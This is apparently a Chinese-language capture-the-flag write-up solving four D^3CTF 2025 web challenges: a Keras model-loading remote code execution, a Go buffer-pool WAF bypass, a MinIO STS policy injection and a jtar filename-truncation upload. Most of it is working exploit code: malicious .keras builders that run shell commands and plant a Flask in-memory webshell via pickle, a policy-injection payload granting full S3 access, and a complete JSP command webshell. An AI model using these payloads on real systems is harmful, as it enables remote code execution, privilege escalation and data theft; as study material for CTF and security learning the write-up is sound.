d3model app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import kerasfrom flask import Flask, request, jsonifyimport osdef is_valid_model (modelname ): try : keras.models.load_model(modelname) except : return False return True app = Flask(__name__) @app.route('/' , methods=['GET' ] ) def index (): return open ('index.html' ).read() @app.route('/upload' , methods=['POST' ] ) def upload_file (): if 'file' not in request.files: return jsonify({'error' : 'No file part' }), 400 file = request.files['file' ] if file.filename == '' : return jsonify({'error' : 'No selected file' }), 400 MAX_FILE_SIZE = 50 * 1024 * 1024 file.seek(0 , os.SEEK_END) file_size = file.tell() file.seek(0 ) if file_size > MAX_FILE_SIZE: return jsonify({'error' : 'File size exceeds 50MB limit' }), 400 filepath = os.path.join('./' , 'test.keras' ) if os.path.exists(filepath): os.remove(filepath) file.save(filepath) if is_valid_model(filepath): return jsonify({'message' : 'Model is valid' }), 200 else : return jsonify({'error' : 'Invalid model file' }), 400 if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
漏洞点显然出现在keras.models.load_model(modelname) 搜到这篇文章inside-cve-2025-1550-remote-code-execution-via-keras-models ,参考着打,经测试发现容器不出网,考虑覆盖index.html
exp1.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import zipfileimport jsonfrom keras.models import Sequentialfrom keras.layers import Denseimport numpy as npimport osmodel_name="model.keras" x_train = np.random.rand(100 , 28 *28 ) y_train = np.random.rand(100 ) model = Sequential([Dense(1 , activation='linear' , input_dim=28 *28 )]) model.compile (optimizer='adam' , loss='mse' ) model.fit(x_train, y_train, epochs=5 ) model.save(model_name) with zipfile.ZipFile(model_name,"r" ) as f: config=json.loads(f.read("config.json" ).decode()) config["config" ]["layers" ][0 ]["module" ]="keras.models" config["config" ]["layers" ][0 ]["class_name" ]="Model" config["config" ]["layers" ][0 ]["config" ]={ "name" :"mvlttt" , "layers" :[ { "name" :"mvlttt" , "class_name" :"function" , "config" :"Popen" , "module" : "subprocess" , "inbound_nodes" :[{"args" :[["sh" ,"-c" ,"env>/app/index.html" ]],"kwargs" :{"bufsize" :-1 }}] }], "input_layers" :[["mvlttt" , 0 , 0 ]], "output_layers" :[["mvlttt" , 0 , 0 ]] } with zipfile.ZipFile(model_name, 'r' ) as zip_read: with zipfile.ZipFile(f"tmp.{model_name} " , 'w' ) as zip_write: for item in zip_read.infolist(): if item.filename != "config.json" : zip_write.writestr(item, zip_read.read(item.filename)) os.remove(model_name) os.rename(f"tmp.{model_name} " ,model_name) with zipfile.ZipFile(model_name,"a" ) as zf: zf.writestr("config.json" ,json.dumps(config)) print ("[+] Malicious model ready" )
另一种方法,用pickle反序列化打内存马,通过/xing?cmd=ls执行命令即可
exp2.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import pickleimport zipfileimport jsonimport ospayload = """ [ __import__('time').sleep(3) for flask in [__import__("flask")] for app in __import__("gc").get_objects() if type(app) == flask.Flask for jinja_globals in [app.jinja_env.globals] for xing in [ lambda : __import__('os').popen(jinja_globals["request"].args.get("cmd", "")).read() ] if [ app.__dict__.update({'_got_first_request':False}), app.add_url_rule("/xing", endpoint="xing", view_func=xing) ] ] """ class MaliciousPickle : def __reduce__ (self ): return (eval , (payload,)) mal = pickle.dumps(MaliciousPickle()) config = { "class_name" : "InputLayer" , "config" : {"batch_shape" : [], "dtype" : "int64" , "name" : "encoder_inputs" }, "inbound_nodes" : [], "module" : "keras.layers" , "name" : "input_layer" , } with open ("config.json" , "w" ) as f: json.dump(config, f, indent=2 ) with open ("model.weights.npz" , "wb" ) as f: f.write(mal) with zipfile.ZipFile("model.keras" , "w" ) as zipf: zipf.write("model.weights.npz" ) zipf.write("config.json" ) os.remove('model.weights.npz' ) os.remove('config.json' )
tidy quic main.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 package mainimport ( "bytes" "errors" "github.com/libp2p/go-buffer-pool" "github.com/quic-go/quic-go/http3" "io" "log" "net/http" "os" ) var p pool.BufferPoolvar ErrWAF = errors.New("WAF" )func main () { go func () { err := http.ListenAndServeTLS(":8080" , "./server.crt" , "./server.key" , &mux{}) log.Fatalln(err) }() go func () { err := http3.ListenAndServeQUIC(":8080" , "./server.crt" , "./server.key" , &mux{}) log.Fatalln(err) }() select {} } type mux struct {} func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) { if r.Method == http.MethodGet { _, _ = w.Write([]byte ("Hello D^3CTF 2025,I'm tidy quic in web." )) return } if r.Method != http.MethodPost { w.WriteHeader(400 ) return } var buf []byte length := int (r.ContentLength) if length == -1 { var err error buf, err = io.ReadAll(textInterrupterWrap(r.Body)) if err != nil { if errors.Is(err, ErrWAF) { w.WriteHeader(400 ) _, _ = w.Write([]byte ("WAF" )) } else { w.WriteHeader(500 ) _, _ = w.Write([]byte ("error" )) } return } } else { buf = p.Get(length) defer p.Put(buf) rd := textInterrupterWrap(r.Body) i := 0 for { n, err := rd.Read(buf[i:]) if err != nil { if errors.Is(err, io.EOF) { break } else if errors.Is(err, ErrWAF) { w.WriteHeader(400 ) _, _ = w.Write([]byte ("WAF" )) return } else { w.WriteHeader(500 ) _, _ = w.Write([]byte ("error" )) return } } i += n } } if !bytes.HasPrefix(buf, []byte ("I want" )) { _, _ = w.Write([]byte ("Sorry I'm not clear what you want." )) return } item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte ("I want" ))) if bytes.Equal(item, []byte ("flag" )) { _, _ = w.Write([]byte (os.Getenv("FLAG" ))) } else { _, _ = w.Write(item) } } type wrap struct { io.ReadCloser ban []byte idx int } func (w *wrap) Read(p []byte ) (int , error ) { n, err := w.ReadCloser.Read(p) if err != nil && !errors.Is(err, io.EOF) { return n, err } for i := 0 ; i < n; i++ { if p[i] == w.ban[w.idx] { w.idx++ if w.idx == len (w.ban) { return n, ErrWAF } } else { w.idx = 0 } } return n, err } func textInterrupterWrap (rc io.ReadCloser) io.ReadCloser { return &wrap{ rc, []byte ("flag" ), 0 , } }
源码分析(by DeepseekR1): GET 请求:返回固定字符串 “Hello D^3CTF 2025,I’m tidy quic in web.”。 非 POST 请求:返回 400 错误。 POST 请求: 读取请求体(r.Body),通过 textInterrupterWrap 包装。 如果 Content-Length 未指定(值为 -1),使用 io.ReadAll 读取整个请求体。 如果 Content-Length 指定,使用缓冲池 p 分配缓冲区,并分块读取直到填满长度或 EOF。 在读取过程中,应用 WAF(Web 应用防火墙)检测:如果请求体中出现连续字节序列 “flag”,返回 400 错误和 “WAF”。 读取完成后,检查请求体是否以 “I want” 开头。如果不是,返回错误消息。 移除 “I want” 前缀和空白字符,得到 item。 如果 item 等于 “flag”,返回环境变量 FLAG 的值;否则,返回 item。
缓冲池 (pool.BufferPool): 全局变量 p 用于管理缓冲区。 当 Content-Length 指定时,从池中获取缓冲区(p.Get(length)),读取完成后放回池中(defer p.Put(buf))。 缓冲区未初始化或清除,可能包含旧数据。
漏洞分析 漏洞存在于缓冲池的使用和请求体处理逻辑中: 缓冲池未清除旧数据: 当 Content-Length 指定时,从池中获取的缓冲区可能包含之前请求的残留数据。 如果请求体长度小于 Content-Length,缓冲区未被完全覆盖,残留数据保留。 业务逻辑与 WAF 的差异: WAF 扫描整个请求体,检测任何位置的连续 “flag” 序列。 业务逻辑只检查移除 “I want” 前缀和空白后的 item 是否为 “flag”。 通过控制缓冲区的残留数据,可使 item 为 “flag”,而请求体中不出现 “flag”,从而绕过 WAF。
攻击思路; 1:污染缓冲区池 • 发送包含”flag”的数据触发WAF • 虽然请求失败,但污染的缓冲区被返回池中 • 数据布局:”ABCDEF flag “ (20字节)
2:污染缓冲区 • 发送”I want”(6字节),Content-Length=20 • 从池中获取被污染的20字节缓冲区 • 只覆盖前6字节,后14字节保持污染状态
攻击流程:
构造污染数据:”ABCDEF flag “ (20字节) ├─ [0-5]:”ABCDEF” (准备拿来给I want覆盖的6字节) ├─ [6-9]:” “ (4个空格) ├─ [10-13]:”flag” └─ [14-19]:” “ (6个空格)
发送污染请求: Content-Length=20 └─ 结果: WAF触发,但缓冲区被污染并返回池中
立即发送利用请求:”I want” + Content-Length=20 ├─ 从池中获取被污染的20字节缓冲区 ├─ 只覆盖前6字节”I want” └─ 后14字节保持污染状态
服务器处理: ├─ HasPrefix(“I want flag “,”I want”) ├─ TrimPrefix → “ flag “ ├─ TrimSpace → “flag” └─ Equal(“flag”,”flag”) FLAG
exp.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package mainimport ( "bytes" "crypto/tls" "fmt" "io" "net/http" "time" "github.com/quic-go/quic-go/http3" ) func main () { client := &http.Client{ Transport: &http3.RoundTripper{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true , }, }, Timeout: 15 * time.Second, } target := "https://35.241.98.126:30345" data1 := make ([]byte , 20 ) copy (data1[0 :6 ], "ABCDEF" ) copy (data1[6 :10 ], " " ) copy (data1[10 :14 ], "flag" ) copy (data1[14 :], " " ) req1, err := http.NewRequest("POST" , target, bytes.NewReader(data1)) if err != nil { panic (err) } req1.Header.Set("Content-Type" , "application/x-www-form-urlencoded" ) req1.ContentLength = 20 resp1, err := client.Do(req1) if err != nil { panic (err) } resp1.Body.Close() time.Sleep(100 * time.Millisecond) data2 := []byte ("I want" ) req2, err := http.NewRequest("POST" , target, bytes.NewReader(data2)) if err != nil { panic (err) } req2.Header.Set("Content-Type" , "application/x-www-form-urlencoded" ) req2.ContentLength = 20 resp2, err := client.Do(req2) if err != nil { panic (err) } body, err := io.ReadAll(resp2.Body) if err != nil { panic (err) } resp2.Body.Close() fmt.Printf("%s" , body) }
d3invitation 题目提供了 web 服务和 minio 的 api 接口,这个 web 服务可以通过上传的图片和输入的 id 生成一个邀请函。 总结一下工作流程:
生成 STS 临时凭证
使用这个 STS 临时凭证上传图片
生成邀请函时,使用这个 STS 临时凭证读取图片
在生成 STS 临时凭证时,我们注意到返回的 session_token 是一个 jwt
1 {"access_key_id":"KDDGTK60AE636NJNK9SY","secret_access_key":"4envCtekrJGaHMOwBOxC3wML290DHNtK5LdHGH7j","session_token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJLRERHVEs2MEFFNjM2TkpOSzlTWSIsImV4cCI6MTc0OTE5ODY1MSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2TVM1d2JtY2lYWDFkZlE9PSJ9.bHpJkgKNAWOqVfzooO2EjvUb-CkLgdACr9VZjM1rDbG5_brWojsijjb8jLS7Hu1_i3sQHThWFgdmDf9tmuYMIQ"}
jwt 解码后可以看到其中存储了 sessionPolicy,是一串经过 base64 编码的数据
1 2 3 4 5 6 { "accessKey": "RVD15RNRKKX49KOY8US9", "exp": 1749198529, "parent": "B9M320QXHD38WUR2MIY3", "sessionPolicy": "eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vMS5wbmciXX1dfQ==" }
再对 sessionPolicy 解码后,我们会发现这是生成 STS 临时凭证时使用的 policy,并且仔细观察可以发现这个 policy 应该是依据上传图片的文件名 object_name 动态生成的
1 {"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/1.png"]}]}
题目没有进行任何过滤,我们可以尝试构造一个特殊的 object_name 对 policy 进行注入,拿到一个对 MinIO 拥有所有权限的 STS 临时凭证
控制object_name为
1 *"]},{"Effect":"Allow","Action":["s3:*"],"Resource":["arn:aws:s3:::*
则得到
1 {"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/*"]},{"Effect":"Allow","Action":["s3:*"],"Resource":["arn:aws:s3:::*"]}]}
接下来使用这个 STS 临时凭证访问 MinIO 的 api 接口即可拿到 flag,以使用mc进行访问为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 POST /api/genSTSCreds HTTP/1.1 Host: 35.241.98.126:30519 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://35.241.98.126:30519/ Content-Type: application/json Content-Length: 23 Origin: http://35.241.98.126:30519 Connection: close Priority: u=0 {"object_name": "*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"} HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Fri, 06 Jun 2025 07:44:04 GMT Content-Length: 758 Connection: close {"access_key_id":"9PEANVIJMFGJM112S529","secret_access_key":"TlofOVdmFBPYCVD9OX2hjTkoYIQAUV9p+eWz0oLL","session_token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI5UEVBTlZJSk1GR0pNMTEyUzUyOSIsImV4cCI6MTc0OTE5OTQ0NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.ZT1A0MZfkcN5aFXKDDGkFc_vcFBPRwseP_iap2mF9zxtpPZ-USqXUWWNKuInk1nX3XnumgsJpnTdQ_eniSsSWA"} 解jwt { "accessKey": "9PEANVIJMFGJM112S529", "exp": 1749199444, "parent": "B9M320QXHD38WUR2MIY3", "sessionPolicy": "eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vKiJdfSx7IkVmZmVjdCI6IkFsbG93IiwiQWN0aW9uIjpbInMzOioiXSwiUmVzb3VyY2UiOlsiYXJuOmF3czpzMzo6OioiXX1dfQ==" } 解base64 {"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/*"]},{"Effect":"Allow","Action":["s3:*"],"Resource":["arn:aws:s3:::*"]}]}
1 2 3 4 5 6 7 8 9 10 export MC_HOST_<ALIAS>="http://<ACCESS_KEY>:<SECRET_KEY>:<SESSION_TOKEN>@<HOST>:<PORT>" export MC_HOST_d3ctf="http://9PEANVIJMFGJM112S529:TlofOVdmFBPYCVD9OX2hjTkoYIQAUV9p+eWz0oLL:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI5UEVBTlZJSk1GR0pNMTEyUzUyOSIsImV4cCI6MTc0OTE5OTQ0NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.ZT1A0MZfkcN5aFXKDDGkFc_vcFBPRwseP_iap2mF9zxtpPZ-USqXUWWNKuInk1nX3XnumgsJpnTdQ_eniSsSWA@35.241.98.126:32559" windows用下面的命令: set MC_HOST_d3ctf=http://9PEANVIJMFGJM112S529:TlofOVdmFBPYCVD9OX2hjTkoYIQAUV9p+eWz0oLL:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI5UEVBTlZJSk1GR0pNMTEyUzUyOSIsImV4cCI6MTc0OTE5OTQ0NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.ZT1A0MZfkcN5aFXKDDGkFc_vcFBPRwseP_iap2mF9zxtpPZ-USqXUWWNKuInk1nX3XnumgsJpnTdQ_eniSsSWA@35.241.98.126:32559 mc ls d3ctf mc ls d3ctf/flag mc cat d3ctf/flag/flag
d3jtar 用IDEA反编译分析源码
MainController.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package d3.example.controller;import d3.example.utils.BackUp;import d3.example.utils.Upload;import java.io.File;import java.io.IOException;import java.nio.file.Paths;import java.util.Arrays;import java.util.HashSet;import java.util.Objects;import java.util.Set;import javax.servlet.http.HttpServletRequest;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.multipart.MultipartFile;import org.springframework.web.servlet.ModelAndView;@Controller public class MainController { @GetMapping({"/view"}) public ModelAndView view (@RequestParam String page, HttpServletRequest request) { if (page.matches("^[a-zA-Z0-9-]+$" )) { String viewPath = "/WEB-INF/views/" + page + ".jsp" ; String realPath = request.getServletContext().getRealPath(viewPath); File jspFile = new File (realPath); if (realPath != null && jspFile.exists()) { return new ModelAndView (page); } } ModelAndView mav = new ModelAndView ("Error" ); mav.addObject("message" , "The file don't exist." ); return mav; } @PostMapping({"/Upload"}) @ResponseBody public String UploadController (@RequestParam MultipartFile file) { try { String uploadDir = "webapps/ROOT/WEB-INF/views" ; Set<String> blackList = new HashSet (Arrays.asList("jsp" , "jspx" , "jspf" , "jspa" , "jsw" , "jsv" , "jtml" , "jhtml" , "sh" , "xml" , "war" , "jar" )); String filePath = Upload.secureUpload(file, uploadDir, blackList); return "Upload Success: " + filePath; } catch (Upload.UploadException e) { return "The file is forbidden: " + e; } } @PostMapping({"/BackUp"}) @ResponseBody public String BackUpController (@RequestParam String op) { if (Objects.equals(op, "tar" )) { try { BackUp.tarDirectory(Paths.get("backup.tar" ), Paths.get("webapps/ROOT/WEB-INF/views" )); return "Success !" ; } catch (IOException var3) { return "Failure : tar Error" ; } } else if (Objects.equals(op, "untar" )) { try { BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views" ), Paths.get("backup.tar" )); return "Success !" ; } catch (IOException var4) { return "Failure : untar Error" ; } } else { return "Failure : option Error" ; } } }
代码功能分析(By DeepseekR1)
/view 端点 (GET 请求) 功能:动态加载 JSP 视图文件。 流程: 检查 page 参数是否符合正则 ^[a-zA-Z0-9-]+$(仅允许字母、数字、连字符)。 构造路径 /WEB-INF/views/[page].jsp。 验证文件是否存在: 存在 → 返回对应 JSP 视图。 不存在 → 返回错误视图(提示 “The file don’t exist.”)。
/Upload 端点 (POST 请求) 功能:上传文件到服务器指定目录。 流程: 设置上传目录为 webapps/ROOT/WEB-INF/views。 定义扩展名黑名单(jsp, jspx, sh, xml, war, jar 等 12 种)。 调用 Upload.secureUpload() 方法处理上传(具体实现在外部类)。 返回上传结果: 成功 → 返回文件路径。 失败 → 返回错误信息(如文件类型被禁止)。
/BackUp 端点 (POST 请求) 功能:备份/恢复 WEB-INF/views 目录。 流程: 根据 op 参数执行操作: op=tar → 打包 views 目录到 backup.tar。 op=untar → 解压 backup.tar 到 views 目录。 返回操作结果(成功/失败)。
就三个路由,/view 的路由只能查看 jsp 文件,/Upload 路由有一些 blacklist, /BackUp 路由会使用 jtar 这个组件来对 webapps/ROOT/WEB-INF/views 目录下的文件打包成 tar 格式的压缩包或者解压
然后回到 /Upload 路由发现限制几乎不大可能能绕过,然后加上题目名,然后就去关注 jtar 的组件和源码,打包的流程为对每个 Entry 实例 (存放相关信息) 用 putNextEntry 方法将实例化好的 Entry 对象放进 Stream 中然后写进文件中,然后我们去跟进一下 writeEntryHeader 方法
1 2 3 4 5 6 7 public void putNextEntry (TarEntry entry) throws IOException { this .closeCurrentEntry(); byte [] header = new byte [512 ]; entry.writeEntryHeader(header); this .write(header); this .currentEntry = entry; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public void writeEntryHeader (byte [] outbuf) { int offset = 0 ; offset = TarHeader.getNameBytes(this .header.name, outbuf, offset, 100 ); offset = Octal.getOctalBytes((long )this .header.mode, outbuf, offset, 8 ); offset = Octal.getOctalBytes((long )this .header.userId, outbuf, offset, 8 ); offset = Octal.getOctalBytes((long )this .header.groupId, outbuf, offset, 8 ); long size = this .header.size; offset = Octal.getLongOctalBytes(size, outbuf, offset, 12 ); offset = Octal.getLongOctalBytes(this .header.modTime, outbuf, offset, 12 ); int csOffset = offset; for (int c = 0 ; c < 8 ; ++c) { outbuf[offset++] = 32 ; } outbuf[offset++] = this .header.linkFlag; offset = TarHeader.getNameBytes(this .header.linkName, outbuf, offset, 100 ); offset = TarHeader.getNameBytes(this .header.magic, outbuf, offset, 8 ); offset = TarHeader.getNameBytes(this .header.userName, outbuf, offset, 32 ); offset = TarHeader.getNameBytes(this .header.groupName, outbuf, offset, 32 ); offset = Octal.getOctalBytes((long )this .header.devMajor, outbuf, offset, 8 ); offset = Octal.getOctalBytes((long )this .header.devMinor, outbuf, offset, 8 ); for (offset = TarHeader.getNameBytes(this .header.namePrefix, outbuf, offset, 155 ); offset < outbuf.length; outbuf[offset++] = 0 ) { } long checkSum = this .computeCheckSum(outbuf); Octal.getCheckSumOctalBytes(checkSum, outbuf, csOffset, 8 ); }
然后我们再去跟进一下 getNameBytes 方法 (这里会获取文件名的 bytes)
1 2 3 4 5 6 7 8 9 10 11 12 13 public static int getNameBytes (StringBuffer name, byte [] buf, int offset, int length) { int i; for (i = 0 ; i < length && i < name.length(); ++i) { buf[offset + i] = (byte )name.charAt(i); } while (i < length) { buf[offset + i] = 0 ; ++i; } return offset + length; }
然后就能找到漏洞点了,这里存在一个强制转换 buf[offset + i] = (byte)name.charAt(i); 这一行将 char 强制转换为 byte, 由于 Java 中 char 是 16 位的 Unicode 字符 (0-65535), 而 byte 是有符号的 8 位整数(-128-127), 强制转换时会截断高 8 位,仅保留低 8 位,所以这里我们只需要找到超出 byte 范围的 Unicode 值,它被转换成 byte 后就会变成指定的 ASCII 值 (如 char 的值为 257 时强制转换为 byte 就是为 1, 即 ascii 码为 1)
这里贴一下用来转换的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class ByteBypassFinder { public static void main (String[] args) { int targetByte = 106 ; System.out.println("Chars where (byte)char == " + targetByte + ":" ); for (int i = 0 ; i <= Character.MAX_VALUE; i++) { char c = (char ) i; byte b = (byte ) c; if (b == targetByte) { System.out.printf("U+%04X '%c' (int %d) -> byte %d\n" , i, c, i, b); } } } }
然后这里需要进行一轮 tar 和 untar 就是 backup 和 restore 就行了
jsp木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <%@ page import="java.util.*, java.io.*" %> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line + "<br>"); } } %> <h1>Webshell Active</h1> <form method="GET"> <input type="text" name="cmd" size="80"> <input type="submit" value="Execute"> </form>
http://35.241.98.126:30750/view?page=e9f1d02a-0e7f-4e35-9d98-3b0ae7b23566&cmd=env